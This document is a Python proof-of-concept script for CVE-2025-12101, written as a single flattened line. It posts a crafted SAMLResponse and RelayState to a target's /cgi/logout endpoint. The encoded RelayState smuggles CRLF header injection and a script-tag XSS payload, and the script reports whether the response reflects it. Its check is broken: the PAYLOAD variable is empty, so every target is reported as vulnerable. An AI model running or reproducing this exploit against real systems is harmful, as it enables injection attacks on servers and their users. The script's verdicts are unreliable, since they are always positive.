import socket import ssl import re import argparse import time from urllib.parse import urlparse # ===== COLORS ===== class Color: RED = "\033[31m" GREEN = "\033[32m" YELLOW = "\033[33m" CYAN = "\033[36m" BLUE = "\033[34m" MAGENTA = "\033[35m" BOLD = "\033[1m" RESET = "\033[0m" # ===== CONSTANT PAYLOADS ===== ENCODED_BODY = ( "SAMLResponse=PD94bWwgdmVyc2lvbj0iMS4wIj8%2BPHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46" "b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJ0ZXN0IiBWZXJzaW9uPSIyLjAiPjxzYW1s" "OkFzc2VydGlvbiB4bWxuczpzYW1sPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIiBJ" "RD0idGVzdCIgVmVyc2lvbj0iMi4wIj48c2FtbDpTdWJqZWN0PjxzYW1sOk5hbWVJRD50ZXN0QGV4YW1wbGUu" "Y29tPC9zYW1sOk5hbWVJRD48L3NhbWw6U3ViamVjdD48L3NhbWw6QXNzZXJ0aW9uPjwvc2FtbHA6UmVzcG9u" "c2U%2B&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzY3JpcHQ%2bYWxlcnQoMSk8" "L3NjcmlwdD4%3d" ) PAYLOAD = "" # ===== UTIL ===== def parse_target(url: str): if not url.startswith(("http://", "https://")): url = "https://" + url parsed = urlparse(url) if not parsed.hostname: raise ValueError("Invalid URL") port = parsed.port or (443 if parsed.scheme == "https" else 80) return parsed.hostname, port def build_request(host: str, body: str) -> bytes: body_bytes = body.encode("ascii") headers = ( f"POST /cgi/logout HTTP/1.1\r\n" f"Host: {host}\r\n" f"User-Agent: CVE-12101-PoC\r\n" f"Accept: */*\r\n" f"Content-Type: application/x-www-form-urlencoded\r\n" f"Content-Length: {len(body_bytes)}\r\n" f"Connection: close\r\n\r\n" ) return headers.encode("ascii") + body_bytes def recv_all(sock, chunk=4096): data = bytearray() while True: try: chunk_data = sock.recv(chunk) if not chunk_data: break data.extend(chunk_data) except socket.timeout: break return data.decode("utf-8", "ignore") # ===== MAIN CHECK ===== def run_xss_check(host: str, port: int, show_full=False): print(f"{Color.CYAN}{Color.BOLD}[*] Target: {host}:{port}{Color.RESET}") start = time.time() ctx = ssl.create_default_context() try: raw = socket.create_connection((host, port), timeout=10) sock = ctx.wrap_socket(raw, server_hostname=host) except Exception as e: print(f"{Color.RED}[!] Connection error: {e}{Color.RESET}") return # Build and send request request_bytes = build_request(host, ENCODED_BODY) sock.sendall(request_bytes) # Receive response response = recv_all(sock) sock.close() # Parse status code m = re.search(r"HTTP/\d\.\d\s+(\d+)", response) status = int(m.group(1)) if m else 0 reflected = PAYLOAD in response # Basic results print(f"{Color.BLUE}[i] HTTP Status Code: {status}{Color.RESET}") print(f"{Color.BLUE}[i] Payload Reflected: {reflected}{Color.RESET}") if reflected: print(f"{Color.GREEN}{Color.BOLD}[VULNERABLE] Payload reflected!{Color.RESET}") else: print(f"{Color.RED}{Color.BOLD}[SAFE] Payload not reflected.{Color.RESET}") print(f"{Color.CYAN}[i] Scan completed in {round(time.time() - start, 3)}s{Color.RESET}") # ===== SHOW REQUEST + RESPONSE AT END ===== if show_full: print(f"\n{Color.YELLOW}{Color.BOLD}===== FINAL SENT REQUEST ====={Color.RESET}") print(request_bytes.decode("ascii", errors="ignore")) print(f"\n{Color.YELLOW}{Color.BOLD}===== FINAL RECEIVED RESPONSE ====={Color.RESET}") print(response) # ===== ENTRY POINT ===== if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-12101 PoC with Final Request/Response Output") parser.add_argument("-u", "--url", required=True) parser.add_argument("--show", action="store_true", help="Show request and response after scan") args = parser.parse_args() host, port = parse_target(args.url) run_xss_check(host, port, args.show)